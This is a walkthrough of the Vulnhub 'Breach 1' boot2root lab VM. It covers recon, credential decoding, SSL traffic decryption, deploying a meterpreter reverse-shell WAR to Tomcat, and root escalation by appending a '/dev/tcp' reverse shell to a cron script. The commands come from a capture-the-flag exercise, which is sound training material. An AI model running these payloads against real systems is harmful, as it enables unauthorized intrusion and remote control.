Vulnhub - Breach 1 boot2root CTF walkthrough

  2017-03-02


Introduction

Breach 1.0 is meant to be beginner to intermediate boot2root/CTF challenge. VM is configured with a static IP address (192.168.110.140) so you will need to configure your host-only adaptor to this subnet.

Information Gathering

The VM is configured to the IP address 192.168.110.140. Let’s start by scanning the target via nmap.

$ nmap -Pn -n -sS 192.168.110.140 --top-ports 100 -v --open -oA target_$(date "+%Y-%m-%d")
# Nmap 7.40 scan initiated Wed Mar  1 13:34:26 2017 as: nmap -Pn -n -sS -v --open -oA target_2017-03-01 192.168.110.140
Nmap scan report for 192.168.110.140
Host is up (0.0020s latency).
PORT      STATE SERVICE
1/tcp     open  tcpmux
3/tcp     open  compressnet
4/tcp     open  unknown
6/tcp     open  unknown
7/tcp     open  echo
9/tcp     open  discard
13/tcp    open  daytime
17/tcp    open  qotd
...

Awesome! Every port is open, that should be a piece of cake. Better try the web browser instead.

Uh, we're gonna need to move your desk

So there is a web server with the picture of famous Milton Waddams. The text does not provide any direct pointers. The next step is to run nikto.

$ nikto -host 192.168.110.140 -output target_$(date "+%Y-%m-%d").nikto -Format csv
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.110.140
+ Target Hostname:    192.168.110.140
+ Target Port:        80
+ Start Time:         2017-03-01 13:54:26 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x44a 0x534a04f49139d
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.1.1/images/".
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2017-03-01 13:54:46 (GMT-5) (20 seconds)
---------------------------------------------------------------------------

These results do not provide much help. Let’s try to find any other files and directories on the web server via gobuster.

$ gobuster -u http://192.168.110.140 -w /usr/share/seclists/Discovery/Web_Content/raft-large-directories.txt -e -r -l -f
=====================================================
http://192.168.110.140/images/ (Status: 200) [Size: 1953]
=====================================================
$ gobuster -u http://192.168.110.140 -w /usr/share/seclists/Discovery/Web_Content/raft-large-files.txt -e -r -l
=====================================================
http://192.168.110.140/index.html (Status: 200) [Size: 1098]
http://192.168.110.140/style.css (Status: 200) [Size: 626]
http://192.168.110.140/. (Status: 200) [Size: 1098]
http://192.168.110.140/.gitignore (Status: 200) [Size: 42]
=====================================================

This is much better. The images folder was also discovered by nikto. There are six files listed in the directory view.

The contents of the image directory.

One picture provides some clues where to look next.

Thanks bill.

Thanks Bill! The hint provides the following information.

The hint is hidden in the source code.
$ echo "Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo" | base64 -d | base64 -d   
pgibbons:damnitfeel$goodtobeagang$ta

So these seem to be the login information for Peter Gibbons. The source code also points to the initech homepage. The homepage includes a link to the “Employee portal”.

Welcome to the employee portal.

The previously discovered login credentials can be used to access the portal.

Welcome to the employee portal.

Peter has got three new messages waiting in his inbox.

Message 1
Message 2
Message 3

So there is a hidden file on the webserver. After downloading we can identify the contents.

$ curl -O 192.168.110.140/.keystore
$ file .keystore
keystore: Java KeyStore
$ keytool -list -keystore keystore
Enter keystore password:  

Keystore type: JKS
Keystore provider: SUN

Your keystore contains 1 entry

tomcat, May 20, 2016, PrivateKeyEntry,
Certificate fingerprint (SHA1): D5:D2:49:C3:69:93:CC:E5:39:A9:DE:5C:91:DC:F1:26:A6:40:46:53

So we need a password to access the keystore. Thankfully, Bill sent Peter a memo that all security relevant information shall be posted in a particular section of the admin portal. Maybe the search yields some results.

One results for 'ssl'
Bill posts security relevant information in the portal.

Bill mentioned a keystore in his post together with a password. Let’s try to extract the certificate from the keystore.

$ keytool -exportcert -alias tomcat -file tomcat.der -keystore keystore
Enter keystore password:  
Certificate stored in file <tomcat.der>
keytool -importkeystore -srckeystore keystore -destkeystore keystore.p12
Enter destination keystore password:  
Re-enter new password:
Enter source keystore password:  
Entry for alias tomcat successfully imported.
Import command completed:  1 entries successfully imported, 0 entries failed or cancelled

He also mentions a PCAP file, the we should probably download.

$ curl -O http://192.168.110.140/impresscms/_SSL_test_phase1.pcap
$ file SSL_test_phase1.pcap
SSL_test_phase1.pcap: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)

The pcap file contains a tcp session on port 8443/tcp that is garbled. This connection is probably encrypted. This is where the keystore might come in handy. In order to decrypt the traffic with wireshark we have to convert the keystore to PKCS12 format.

$ keytool -importkeystore -srckeystore keystore -destkeystore keystore.p12 -deststoretype PKCS12 -srcalias tomcat
Enter destination keystore password:  
Re-enter new password:
Enter source keystore password:

Now, open the packet capture in wireshark and set the options to decrypt the traffic. Set the respective options via “Edit”->“Preferences”->“Protocols”->“SSL”.

Set the options to decrypt ssl traffic.

Now the magic happens and we can follow the cleartext session on port 8443/tcp between 192.168.110.140 and 192.168.110.129. Luckily, this is http which can be read like an open book.

The decrypted SSL traffic.

The Authorization header catches one’s eye immediately. The red team did a good job and probably discovered the password for the tomcat manager somewhere else. The base64 encoded credentials can be easily decoded.

$ echo -n "dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC" | base64 -d
tomcat:Tt\5D8F(#!\*u=G)4m7zB

Trying to connect to the Tomcat manager did not immediately work out. Firefox was not able to connect to the service. So, the next tool to investigate was sslyze to get some details about the ssl configuration.

Only the cipher suite RC4-MD5 is enabled.

The good news is, that there is a webserver. The bad news is, that the ssl configuration is unbelievably insecure. In order to connect with Firefox burp proxy was the tool of choice. With that proxying the ssl connection the browser could be utilized to access port 8443/tcp.

The tomcat manager after a successful login.

With admin access to tomcat manager the next step is to upload a custom WAR payload and smile. The easiest way to go is with a metasploit payload. The red team used a cmd shell to gain access to the web server, according to the packet capture. The easiest way would be to directly run the tomcat_mgr_deploy metasploit module. Another option is to manually create the payload, start the listener and upload the payload manually via the browser.

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f war -o meterpreter.war
$ 7z l meterpreter.war
Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2017-03-01 17:11:42 D....            0            0  META-INF
2017-03-01 17:11:42 .....           71           71  META-INF/MANIFEST.MF
2017-03-01 17:11:42 D....            0            0  WEB-INF
2017-03-01 17:11:42 .....          269          200  WEB-INF/web.xml
2017-03-01 17:11:42 .....         1779          733  uvbvrdgrpwdvzw.jsp
------------------- ----- ------------ ------------  ------------------------
$ msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.110.129

And with a bit of luck, the session connects back to the server. Get lucky!

The target opens a meterpreter session.

The next step is to elevate privileges on the system. The way to go would be setuid files or other exploits. Metasploits local_exploit_suggester might provide some pointers.

These exploits might work according to metasploit.

After taking a look at the details for the exploits, it becomes obvious that none is applicable to the target system. Alternatives have to be identified. A search for setuid files does not yield any results either. Looking back at the messages from the portal, Bill Lumbergh mentioned his secure password. Challenge accepted.

One way to access his account information is via the CMS and an SQL injection. Another option would be to directly access the mysql database fomr the console. As his password is so secure, he might have stored it somewhere to remember it.

$ mysql -u root
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 61
Server version: 5.5.49-0ubuntu0.14.04.1 (Ubuntu)
...
mysql> select User,Password from mysql.user;
+------------------+-------------------------------------------+
| User             | Password                                  |
+------------------+-------------------------------------------+
| root             |                                           |
| milton           | 6450d89bd3aff1d893b85d3ad65d2ec2          |
| root             |                                           |
| root             |                                           |
| debian-sys-maint | *A9523939F1B2F3E72A4306C34F225ACF09590878 |
+------------------+-------------------------------------------+
5 rows in set (0.00 sec)
mysql> select login_name,pass from impresscms.i3062034b_users;
+------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| login_name | pass                                                                                                                                                                                                        |
+------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| admin      | $23$5000$S4mancatNXCgGKpitGa5dTpN0uSo0iSIMPl3X5WdVXSEe8LILqDynHRa3R2OE5pPe-1c70c0c66700b42c4d1f2ec15638b6f5e0bbcbc03c50298ad79f765a33901709d825c9dbb98e703ea71af4bb826469fc0df5eb68e66e4192bf1651c6f06c060c |
| pgibbons   | $23$5000$eemraVuhMjb0muJ8eKaIfAjJuOQorYcJ3HT0TQWVZ3XIR34Suws6rYN6uSQsQOU-5d3e3c6d93b361ca051900d8cfaecbf13c0b96fa76f525683f3a54386e04c4a68594359d15e2599f718af54fcad9a1e85d438e84da1c5af51f1fc3e185ba68a0   |
| mbolton    | $23$5000$zk0tDm60SfN2vX9CJ3WuCxT3JoiwOmj99VwU3ZfuYwmKSuzhOuSDCLeedS7yhvC2-cac27699650c034aa4114fe1df04cc14e70a7dd6812a5af482e3c73f00b31595aa332242a0b67b0f58df485186d6c8176cafe1365f55097adcf15b307060d3f0  |
+------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

That escalated quickly. A search for the hash value of milton’s password provides the cleartext “thelaststraw”. Maybe we can now change user or login.

From tomcat to milton.

The session now has more access rights. He is even in an admin group. Unfortunately, the user has no rights that we could exploit.

$ find / -group adm 2> /dev/null

The syslog includes some lines that look intriguing. There is a cronjob from the user root running every three minutes.

Mar  1 19:45:01 Breach CRON[2747]: (root) CMD (/usr/share/cleanup/tidyup.sh)

The script looks promising, let’s take a closer look.

#!/bin/bash

#Hacker Evasion Script
#Initech Cyber Consulting, LLC
#Peter Gibbons and Michael Bolton - 2016
#This script is set to run every 3 minutes as an additional defense measure against hackers.

cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf

As the comments clarify it deletes all files in the swingline directory. It is also called on a regular basis as a cronjob. But, there is no way that we can edit the file with the current user rights. Bill Blumbergh’s account remains as a potential vector to elevate privileges. No hints on the file system or in the database. Something obvious must have slipped.

Going back to the beginning, bill provided a helpful hint in a picture. There might be more information present than is visible. First, the meta information is a good place to search.

The metadata contains a comment.

That looks like a secure password. This might even be the password for the command line.

The password hint worked.

The user Blumbergh has got sudo rights.

blumbergh@Breach:~$ sudo --list
Matching Defaults entries for blumbergh on Breach:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User blumbergh may run the following commands on Breach:
    (root) NOPASSWD: /usr/bin/tee /usr/share/cleanup/tidyup.sh

Awesome! We can manually run the afore mentioned script. Even better, we can append to files with the tee command. So the way to go is to append something to the tidyup.sh.

#!/bin/bash
. /etc/profile
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export SHELL=/bin/bash
/bin/bash -i >& /dev/tcp/192.168.110.129/4444 0>&1

After the shell connects back to the attacker, it can easily be upgraded to a full meterpreter session. This makes working and navigating much more convenient.

A meterpreter session as root.

Now there is only one thing left.

The final flag.

See who is also there!

Another final flag?

Portspoof

While analyzing the system it became obvious that the system is protected by portspoof. The configuration file contains the background information for the confusing service responses. The file /usr/local/etc/portspoof.conf holds the following custom payload configuration.

Trololo

Very nice. Also the service suffers from a weak configuration. The /etc/init.d/portly.sh init script is world writeable. In order go escalate privileges one could add code to this file and reboot the system. The script is run during startup and boom you have won.

Links